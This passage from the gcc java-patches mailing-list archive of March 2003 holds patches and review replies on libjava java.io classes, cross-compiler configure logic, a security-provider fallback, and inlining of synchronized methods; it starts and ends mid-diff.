/cvs/gcc/gcc/libjava/java/io/LineNumberReader.java,v retrieving revision 1.7 diff -u -r1.7 LineNumberReader.java --- java/io/LineNumberReader.java 24 Mar 2003 08:27:28 -0000 1.7 +++ java/io/LineNumberReader.java 24 Mar 2003 15:38:16 -0000 @@ -70,7 +70,7 @@ public class LineNumberReader extends BufferedReader { /** The current line number. */ - int lineNumber; + private int lineNumber; /** * Create a new LineNumberReader that reads from the @@ -81,7 +81,7 @@ */ public LineNumberReader(Reader in) { - super(in, 8192); + super(in, DEFAULT_BUFFER_SIZE); } /** Index: java/io/OutputStreamWriter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/OutputStreamWriter.java,v retrieving revision 1.13 diff -u -r1.13 OutputStreamWriter.java --- java/io/OutputStreamWriter.java 24 Mar 2003 08:27:28 -0000 1.13 +++ java/io/OutputStreamWriter.java 24 Mar 2003 15:38:16 -0000 @@ -57,11 +57,6 @@ private char[] work; private int wcount; - public String getEncoding() - { - return out != null ? converter.getName() : null; - } - private OutputStreamWriter(OutputStream out, UnicodeToBytes encoder) { this.out = out instanceof BufferedOutputStream @@ -72,17 +67,29 @@ this.converter = encoder; } - public OutputStreamWriter(OutputStream out, String enc) + public OutputStreamWriter(OutputStream out, String encoding_scheme) throws UnsupportedEncodingException { - this(out, UnicodeToBytes.getEncoder(enc)); + this(out, UnicodeToBytes.getEncoder(encoding_scheme)); } + /** + * This method initializes a new instance of OutputStreamWriter + * to write to the specified stream using the default encoding. + * + * @param out The OutputStream to write to + */ public OutputStreamWriter(OutputStream out) { this(out, UnicodeToBytes.getDefaultEncoder()); } + /** + * This method closes this stream, and the underlying + * OutputStream + * + * @exception IOException If an error occurs + */ public void close() throws IOException { synchronized (lock) @@ -97,6 +104,23 @@ } } + /** + * This method returns the name of the character encoding scheme currently + * in use by this stream. If the stream has been closed, then this method + * may return null. + * + * @return The encoding scheme name + */ + public String getEncoding() + { + return out != null ? converter.getName() : null; + } + + /** + * This method flushes any buffered bytes to the underlying output sink. + * + * @exception IOException If an error occurs + */ public void flush() throws IOException { synchronized (lock) @@ -186,6 +210,13 @@ } } + /** + * This method writes a single character to the output stream. + * + * @param c The char to write, passed as an int. + * + * @exception IOException If an error occurs + */ public void write(int ch) throws IOException { synchronized (lock) @@ -203,4 +234,6 @@ work[wcount++] = (char) ch; } } -} + +} // class OutputStreamWriter + Index: java/io/PrintStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/PrintStream.java,v retrieving revision 1.12 diff -u -r1.12 PrintStream.java --- java/io/PrintStream.java 23 Mar 2003 19:11:19 -0000 1.12 +++ java/io/PrintStream.java 24 Mar 2003 15:38:16 -0000 @@ -55,12 +55,30 @@ * This leads to some minor duplication, because neither inherits * from the other, and we want to maximize performance. */ + public PrintStream (OutputStream out) + { + this(out, false); + } + + public PrintStream (OutputStream out, boolean auto_flush) + { + super(out); + converter = UnicodeToBytes.getDefaultEncoder(); + error = false; + this.auto_flush = auto_flush; + } + public boolean checkError () { flush(); return error; } + protected void setError () + { + error = true; + } + public void close () { try @@ -256,24 +274,6 @@ public void println (char[] charArray) { print(charArray, 0, charArray.length, true); - } - - public PrintStream (OutputStream out) - { - this(out, false); - } - - public PrintStream (OutputStream out, boolean af) - { - super(out); - converter = UnicodeToBytes.getDefaultEncoder(); - error = false; - auto_flush = af; - } - - protected void setError () - { - error = true; } public void write (int oneByte) --Boundary-00=_sfyf+NlM1cQzpWk-- From java-patches-return-6585-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 20:58:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24273 invoked by alias); 24 Mar 2003 20:58:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24266 invoked from network); 24 Mar 2003 20:58:16 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 24 Mar 2003 20:58:16 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA18499; Mon, 24 Mar 2003 13:58:14 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 746E74F80CC; Mon, 24 Mar 2003 13:54:40 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: Security provider fallback References: <1046629565.19771.561.camel@elsschot> <87adg98bvm.fsf@fleche.redhat.com> <1047649484.4906.84.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I HAVE to buy a new ``DODGE MISER'' and two dozen JORDACHE JEANS because my viewscreen is ``USER-FRIENDLY''!! Date: 24 Mar 2003 13:54:40 -0700 In-Reply-To: <1047649484.4906.84.camel@elsschot> Message-ID: <873clc1o4v.fsf@fleche.redhat.com> Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Tom> My first inclination is not to do this. The class library is a Tom> library; printing to stderr like this is a bit unfriendly. It seems Tom> to violate the bounds of what a library ought to do. Mark> Our garbage collector does it in extreme situations. But I can leave out Mark> the warning messages. The important bit is the fallback to a default Mark> security manager if everything goes wrong (see below). Would the patch Mark> be OK without the warnings? Yes, definitely. Mark> Note that the fallback (and warning) only works if there no Mark> valid security providers defined and there are errors with all Mark> security provider resources. So if there actually is a security Mark> provider file/resource, but it is left empty by the user then Mark> they still get what they want (no provider and no standard Mark> algorithms). Thanks. In that case I think the warning would be ok. Tom From java-patches-return-6586-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 25 04:02:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25574 invoked by alias); 25 Mar 2003 04:02:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25560 invoked from network); 25 Mar 2003 04:02:38 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 25 Mar 2003 04:02:38 -0000 Received: from p733 (adsl-68-74-196-213.dsl.milwwi.ameritech.net [68.74.196.213]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2P42ZV25491; Mon, 24 Mar 2003 22:02:35 -0600 From: Mohan Embar To: rmathew@hotmail.com Cc: GCJ Patches Date: Mon, 24 Mar 2003 22:02:39 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: <93XU9YS96H4WXUQM2V76VREB08HE2V.3e7fd4df@p733> Subject: Re: Patch for Preview: Cross-Configury Tweaks (Updated) MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Ranjit, Would you mind taking a trip back to Cross-Configury Land? I've been knee-deep in this for several weeks and need a second set of eyes. I wanted you to take a look at this variation of your cross-configury patch. I plan to discuss this approach at length and make references to discussions on this and other lists, but I'm too tired to do this now and still need to do tons more testing to validate this. The "problem" with the variant previously submitted is that the built cross-compiler is only capable of building the crossed-native compiler and its libraries. The fact that: if test -z "${with_cross_host}" falls into what was previously the newlib piece means that the compiler is crippled to the point of not having HAVE_BACKTRACE defined and a slew of other problems (like building an application which uses JNI). I have therefore changed this back to its previous test: if test "x${with_newlib}" = "xyes"; then What do you think of my variant? I think you'll be able to understand what I'm doing without my documenting it. (If I set out to document this in detail now, I'll procrastinate on this for another few weeks. If you don't feel like dealing with this, I understand and will follow up in awhile with more detail.) -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ (Makefile.am is unchanged from the previous iteration.) Index: Makefile.am =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.264.2.12 diff -u -2 -r1.264.2.12 Makefile.am --- Makefile.am 1 Mar 2003 22:57:52 -0000 1.264.2.12 +++ Makefile.am 25 Mar 2003 03:59:19 -0000 @@ -53,8 +53,9 @@ ## found in the build tree. ZIP = $(MULTIBUILDTOP)../$(COMPPATH)/fastjar/jar +GCJH = gcjh else ZIP = jar +GCJH = $(target_alias)-gcjh endif -GCJH = gcjh else # CANADIAN GCJH = $(MULTIBUILDTOP)../$(COMPPATH)/gcc/gcjh Index: configure.in =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/configure.in,v retrieving revision 1.142.4.6 diff -u -2 -r1.142.4.6 configure.in --- configure.in 20 Feb 2003 09:12:24 -0000 1.142.4.6 +++ configure.in 25 Mar 2003 03:59:21 -0000 @@ -735,12 +735,53 @@ changequote([,]) fi - if test -x "${builddotdot}/../../gcc/gcj"; then - dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" - GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" + which_gcj=default + built_gcc_dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" + if test -n "${with_cross_host}"; then + # We are being configured with a cross compiler + NATIVE=no + # FIXME: Allow the executable extension of the build machine + # (i.e. to allow a MingW cross compiler) + if test -x "${built_gcc_dir}/gcj"; then + if test x"$build" = x"$with_cross_host"; then + # Ordinary cross (host!=target and host=build) + which_gcj=built + else + # Canadian cross (host!=target and host!=build) + which_gcj=cross + fi + else + which_gcj=path + fi else - CANADIAN=yes - NULL_TARGET=yes - GCJ="gcj -B`${PWDCMD-pwd}`/" + # We are being configured with a native or crossed-native compiler + if test -x "${built_gcc_dir}/gcj${ac_exeext}"; then + if test x"$build" = x"$host"; then + # True native build (host=target and host=build) + which_gcj=built + else + # Crossed-native build (host=target and host!=build) + which_gcj=cross + fi + else + which_gcj=path + fi fi + case "${which_gcj}" in + built) + GCJ="$built_gcc_dir/gcj -B`${PWDCMD-pwd}`/ -B$built_gcc_dir/" + ;; + cross) + # See the comment in Makefile.am about CANADIAN being a misnomer + CANADIAN=yes + NULL_TARGET=no + GCJ="${target_alias}-gcj -B`${PWDCMD-pwd}`/" + ;; + path) + # See the comment in Makefile.am about CANADIAN being a misnomer + CANADIAN=yes + NULL_TARGET=yes + GCJ="gcj -B`${PWDCMD-pwd}`/" + ;; + esac fi From java-patches-return-6587-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 25 08:59:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9694 invoked by alias); 25 Mar 2003 08:59:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9678 invoked from network); 25 Mar 2003 08:59:07 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 25 Mar 2003 08:59:07 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2P8won16581; Tue, 25 Mar 2003 08:58:50 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16000.6730.450423.6747@cuddles.cambridge.redhat.com> Date: Tue, 25 Mar 2003 08:58:50 +0000 (GMT) To: tromey@redhat.com Cc: GCC libjava patches , Gcc Patch List Subject: Patch: Another deprecation fix In-Reply-To: <87ptoh6fjw.fsf@fleche.redhat.com> References: <87ptoh6fjw.fsf@fleche.redhat.com> Tom Tromey writes: > Today I discovered that the @deprecated tag doesn't take effect on an > interface. For instance, see java.security.Certificate. > > The appended patch fixes the problem. Ok for trunk? > > Tom > > Index: gcc/java/ChangeLog > from Tom Tromey > > * parse.y (create_interface): Call CHECK_DEPRECATED. Uh, yeah. This is IMO in the "obvious" category and doesn't need approval. Andrew. From java-patches-return-6588-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 25 11:37:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8959 invoked by alias); 25 Mar 2003 11:37:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8945 invoked from network); 25 Mar 2003 11:37:25 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 25 Mar 2003 11:37:25 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2PBb2f17138; Tue, 25 Mar 2003 11:37:02 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16000.16222.71980.758885@cuddles.cambridge.redhat.com> Date: Tue, 25 Mar 2003 11:37:02 +0000 (GMT) To: tromey@redhat.com Cc: Andreas Tobler , GCC libjava patches Subject: Re: Patch: FYI: CNI test directory In-Reply-To: <871y0zonb9.fsf@fleche.redhat.com> References: <87d6kjop1c.fsf@fleche.redhat.com> <3E7C13E5.5020308@pop.agri.ch> <871y0zonb9.fsf@fleche.redhat.com> Tom Tromey writes: > >>>>> "Andreas" == Andreas Tobler writes: > > Andreas> === libjava Summary === > Andreas> # of expected passes 10 > > Well, that's odd. I'm seeing 1 FAIL. Maybe layout rules are > different on your box, They are. > and g++ and gcj happen to agree by accident. That's right. Andrew. From java-patches-return-6589-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 25 13:07:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9602 invoked by alias); 25 Mar 2003 13:06:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9556 invoked from network); 25 Mar 2003 13:06:58 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 25 Mar 2003 13:06:58 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-74-238.ewetel.net [80.228.74.238]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2PD6udx002363 for ; Tue, 25 Mar 2003 14:06:57 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xo7H-0001KK-00 for ; Tue, 25 Mar 2003 14:05:23 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - more merges with classpath Date: Tue, 25 Mar 2003 14:08:16 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ATFg+2WcvDRUxuU" Message-Id: <200303251408.19389.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ATFg+2WcvDRUxuU Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to merged FileInputStream and=20 =46ileOutputStream more with classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+gFTDWSOgCCdjSDsRArdaAJ9/bcwEaxF+YOGhTJyI1kvwcK6NdgCgiyMo JKKhgPoWUl7DZo8T02iFrvM=3D =3D+CUI =2D----END PGP SIGNATURE----- --Boundary-00=_ATFg+2WcvDRUxuU Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1815 diff -u -r1.1815 ChangeLog --- ChangeLog 24 Mar 2003 15:43:21 -0000 1.1815 +++ ChangeLog 25 Mar 2003 13:06:22 -0000 @@ -1,3 +1,15 @@ +2003-03-25 Michael Koch + + * java/io/FileInputStream.java + (read): Renamed b to buf and off to offset. + * java/io/FileOutputStream.java + (ch): Documentation added. + (FileOutputStream): Documentation added. + (getFD): Documentation added. + (write): Documentation added. + (close): Documentation added. + (getChannel): Documentation added. + 2003-03-24 Michael Koch * java/io/DataOutputStream.java Index: java/io/FileInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileInputStream.java,v retrieving revision 1.14 diff -u -r1.14 FileInputStream.java --- java/io/FileInputStream.java 24 Mar 2003 15:43:22 -0000 1.14 +++ java/io/FileInputStream.java 25 Mar 2003 13:06:22 -0000 @@ -52,7 +52,6 @@ * * @author Aaron M. Renn * @author Warren Levy - * @date October 28, 1998. */ public class FileInputStream extends InputStream { @@ -224,9 +223,9 @@ * * @exception IOException If an error occurs. */ - public int read(byte[] b) throws IOException + public int read(byte[] buf) throws IOException { - return fd.read(b, 0, b.length); + return read(buf, 0, buf.length); } /** @@ -248,12 +247,14 @@ * * @exception IOException If an error occurs. */ - public int read(byte[] b, int off, int len) throws IOException + public int read(byte[] buf, int offset, int len) throws IOException { - if (off < 0 || len < 0 || off + len > b.length) + if (offset < 0 + || len < 0 + || offset + len > buf.length) throw new ArrayIndexOutOfBoundsException(); - return fd.read(b, off, len); + return fd.read(buf, offset, len); } /** Index: java/io/FileOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileOutputStream.java,v retrieving revision 1.10 diff -u -r1.10 FileOutputStream.java --- java/io/FileOutputStream.java 24 Mar 2003 15:43:22 -0000 1.10 +++ java/io/FileOutputStream.java 25 Mar 2003 13:06:22 -0000 @@ -52,10 +52,29 @@ */ public class FileOutputStream extends OutputStream { - // Instance variables. private FileDescriptor fd; - private FileChannel ch; - + + private FileChannel ch; /* cached associated file-channel */ + + /** + * This method initializes a FileOutputStream object to write + * to the named file. The file is created if it does not exist, and + * the bytes written are written starting at the beginning of the file if + * the append argument is false or at the end + * of the file if the append argument is true. + *

          + * Before opening a file, a security check is performed by calling the + * checkWrite method of the SecurityManager (if + * one exists) with the name of the file to be opened. An exception is + * thrown if writing is not allowed. + * + * @param name The name of the file this stream should write to + * @param append true to append bytes to the end of the file, + * or false to write bytes to the beginning + * + * @exception SecurityException If write access to the file is not allowed + * @exception FileNotFoundException If a non-security error occurs + */ public FileOutputStream (String path, boolean append) throws SecurityException, FileNotFoundException { @@ -67,12 +86,43 @@ : FileDescriptor.WRITE)); } + /** + * This method initializes a FileOutputStream object to write + * to the named file. The file is created if it does not exist, and + * the bytes written are written starting at the beginning of the file. + *

          + * Before opening a file, a security check is performed by calling the + * checkWrite method of the SecurityManager (if + * one exists) with the name of the file to be opened. An exception is + * thrown if writing is not allowed. + * + * @param name The name of the file this stream should write to + * + * @exception SecurityException If write access to the file is not allowed + * @exception FileNotFoundException If a non-security error occurs + */ public FileOutputStream (String path) throws SecurityException, FileNotFoundException { this (path, false); } + /** + * This method initializes a FileOutputStream object to write + * to the specified File object. The file is created if it + * does not exist, and the bytes written are written starting at the + * beginning of the file. + *

          + * Before opening a file, a security check is performed by calling the + * checkWrite method of the SecurityManager (if + * one exists) with the name of the file to be opened. An exception is + * thrown if writing is not allowed. + * + * @param file The File object this stream should write to + * + * @exception SecurityException If write access to the file is not allowed + * @exception FileNotFoundException If a non-security error occurs + */ public FileOutputStream (File file) throws SecurityException, FileNotFoundException { @@ -99,12 +149,28 @@ * @exception SecurityException If write access to the file is not allowed * @exception FileNotFoundException If a non-security error occurs */ - public - FileOutputStream(File file, boolean append) throws FileNotFoundException + public FileOutputStream (File file, boolean append) + throws FileNotFoundException { - this(file.getPath(), append); + this (file.getPath(), append); } + /** + * This method initializes a FileOutputStream object to write + * to the file represented by the specified FileDescriptor + * object. This method does not create any underlying disk file or + * reposition the file pointer of the given descriptor. It assumes that + * this descriptor is ready for writing as is. + *

          + * Before opening a file, a security check is performed by calling the + * checkWrite method of the SecurityManager (if + * one exists) with the specified FileDescriptor as an argument. + * An exception is thrown if writing is not allowed. + * + * @param file The FileDescriptor this stream should write to + * + * @exception SecurityException If write access to the file is not allowed + */ public FileOutputStream (FileDescriptor fdObj) throws SecurityException { @@ -120,6 +186,14 @@ // mentioned in the JCL. } + /** + * This method returns a FileDescriptor object representing + * the file that is currently being written to + * + * @return A FileDescriptor object for this stream + * + * @exception IOException If an error occurs + */ public final FileDescriptor getFD () throws IOException { if (! fd.valid()) @@ -127,16 +201,41 @@ return fd; } + /** + * This method writes a single byte of data to the file. + * + * @param b The byte of data to write, passed as an int + * + * @exception IOException If an error occurs + */ public void write (int b) throws IOException { fd.write (b); } + /** + * This method writes all the bytes in the specified array to the + * file. + * + * @param buf The array of bytes to write to the file + * + * @exception IOException If an error occurs + */ public void write (byte[] b) throws IOException, NullPointerException { fd.write (b, 0, b.length); } + /** + * This method writes len bytes from the byte array + * buf to the file starting at index offset. + * + * @param buf The array of bytes to write to the file + * @param offset The offset into the array to start writing bytes from + * @param len The number of bytes to write to the file + * + * @exception IOException If an error occurs + */ public void write (byte[] b, int off, int len) throws IOException, NullPointerException, IndexOutOfBoundsException { @@ -145,12 +244,25 @@ fd.write (b, off, len); } + /** + * This method closes the underlying file. Any further attempts to + * write to this stream will likely generate an exception since the + * file is closed. + * + * @exception IOException If an error occurs + */ public void close () throws IOException { if (fd.valid()) fd.close(); } + /** + * This method creates a java.nio.channels.FileChannel. + * Nio does not allow one to create a file channel directly. + * A file channel must be created by first creating an instance of + * Input/Output/RandomAccessFile and invoking the getChannel() method on it. + */ public FileChannel getChannel () { synchronized (this) --Boundary-00=_ATFg+2WcvDRUxuU-- From java-patches-return-6590-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 25 13:40:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16201 invoked by alias); 25 Mar 2003 13:40:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16193 invoked from network); 25 Mar 2003 13:40:46 -0000 Received: from unknown (HELO hotmail.com) (65.54.245.74) by sources.redhat.com with SMTP; 25 Mar 2003 13:40:46 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 25 Mar 2003 05:40:46 -0800 Received: from 148.87.1.170 by by1fd.bay1.hotmail.msn.com with HTTP; Tue, 25 Mar 2003 13:40:45 GMT X-Originating-IP: [148.87.1.170] X-Originating-Email: [rmathew@hotmail.com] From: "Ranjit Mathew" To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Bcc: Subject: Re: Patch for Preview: Cross-Configury Tweaks (Updated) Date: Tue, 25 Mar 2003 19:10:45 +0530 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 25 Mar 2003 13:40:46.0223 (UTC) FILETIME=[237DC9F0:01C2F2D4] I have not tried this out, but this looks neater than the one I submitted, except that you can perhaps do away with "which_gcj" and do that stuff in line... The "proof of the pudding" would be to do a clean build on Linux(native), Linux(cross), Linux(crossed_native) and MinGW(native) and I *guess* you'd have already tested out these... >+ # FIXME: Allow the executable extension of the build machine >+ # (i.e. to allow a MingW cross compiler) >+ if test -x "${built_gcc_dir}/gcj"; then ^ Can you not use $(ac_cv_exeext) here? >+ if test -x "${built_gcc_dir}/gcj${ac_exeext}"; then ^^^^^^^^^ How is this different from ac_cv_exeext? (Just curious - I am by no means an authority on any of this stuff!) AFAIK Tom would be the best person to certify the validity of these changes. Ranjit. _________________________________________________________________ Fun on the mobile with http://www.msn.co.in/mobile/ ringtones, graphics, logos etc. From java-patches-return-6591-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 25 16:06:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5871 invoked by alias); 25 Mar 2003 16:06:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5735 invoked from network); 25 Mar 2003 16:06:02 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 25 Mar 2003 16:06:02 -0000 Received: from p733 (adsl-68-74-196-213.dsl.milwwi.ameritech.net [68.74.196.213]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2PG5ux16601; Tue, 25 Mar 2003 10:05:56 -0600 From: Mohan Embar To: "Ranjit Mathew" Cc: java-patches@gcc.gnu.org Date: Tue, 25 Mar 2003 10:05:56 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Re: Patch for Preview: Cross-Configury Tweaks (Updated) MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Ranjit, >I have not tried this out, but this looks neater than the >one I submitted, except that you can perhaps do away with >"which_gcj" and do that stuff in line... The which_gcj helped me to mentally sort things out and not duplicate confusing stuff.... >The "proof of the pudding" would be to do a clean build on >Linux(native), Linux(cross), Linux(crossed_native) and >MinGW(native) and I *guess* you'd have already tested out >these... I've tested teh cross and crossed-native builds. I haven't been able to build MingW natively: MSYS gives me these irreproducible errors. I assume the native build works. Like I said, I need to do tons more testing. There's also another build: a Canadian cross (i.e. linux-cygwin-mingw). For this, I think I'd TWO cross compilers (a linux-cygwin cross to build the cross compiler, then a linux-mingw one to build the libraries), right? >How is this different from ac_cv_exeext? (Just curious - I >am by no means an authority on any of this stuff!) ac_cv_exeext is defined as either ".exe" or "no" (if unset) as opposed to ac_exeext (".exe" / ""). >AFAIK Tom would be the best person to certify the validity >of these changes. I need to do more validation and testing. I just wanted to see if you found anything blatantly wrong. Thanks for looking at this. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6592-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 25 20:32:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20066 invoked by alias); 25 Mar 2003 20:32:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20023 invoked from network); 25 Mar 2003 20:32:36 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 25 Mar 2003 20:32:36 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2PKWKp20693; Tue, 25 Mar 2003 20:32:20 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16000.48340.378099.310153@cuddles.cambridge.redhat.com> Date: Tue, 25 Mar 2003 20:32:20 +0000 (GMT) To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: java: Fix inliner for synchronized methods This is a longstanding bug in the tree inliner; if you inline synchronized methods the synchronization gets lost. As far as I am aware this is the last inlining bug that affects correctness. I'd like to build libgcj on the trunk with inlining. Andrew. * decl.c (complete_start_java_method): Break into two functions, complete_start_java_method and wrap_synchronized_method. Call wrap_synchronized_method. * parse.y (java_expand_method_bodies): Call wrap_synchronized_method. Index: java/decl.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/decl.c,v retrieving revision 1.151 diff -c -2 -p -r1.151 decl.c *** java/decl.c 26 Feb 2003 03:02:14 -0000 1.151 --- java/decl.c 25 Mar 2003 20:31:06 -0000 *************** complete_start_java_method (tree fndecl) *** 1709,1715 **** } if (METHOD_SYNCHRONIZED (fndecl) && ! flag_emit_class_files) { - /* Wrap function body with a monitorenter plus monitorexit cleanup. */ tree enter, exit, lock; if (METHOD_STATIC (fndecl)) --- 1709,1725 ---- } + /* We already did this for source methods. */ + if (!CLASS_FROM_SOURCE_P (DECL_CONTEXT (fndecl))) + wrap_synchronized_method (fndecl); + } + + /* If a method is synchronized, wrap its body with a monitorenter plus + monitorexit cleanup. */ + + void + wrap_synchronized_method (tree fndecl) + { if (METHOD_SYNCHRONIZED (fndecl) && ! flag_emit_class_files) { tree enter, exit, lock; if (METHOD_STATIC (fndecl)) Index: java/java-tree.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/java-tree.h,v retrieving revision 1.172 diff -c -2 -p -r1.172 java-tree.h *** java/java-tree.h 24 Feb 2003 02:14:48 -0000 1.172 --- java/java-tree.h 25 Mar 2003 20:31:08 -0000 *************** extern int verify_constant_pool (struct *** 1245,1248 **** --- 1245,1249 ---- extern void start_java_method (tree); extern void end_java_method (void); + extern void wrap_synchronized_method (tree); extern void give_name_to_locals (struct JCF *); extern void note_instructions (struct JCF *, tree); Index: java/parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.425 diff -c -2 -p -r1.425 parse.y *** java/parse.y 11 Mar 2003 20:37:02 -0000 1.425 --- java/parse.y 25 Mar 2003 20:31:17 -0000 *************** java_expand_method_bodies (tree class) *** 8006,8010 **** current_function_decl = decl; ! /* Save the function for inlining. */ if 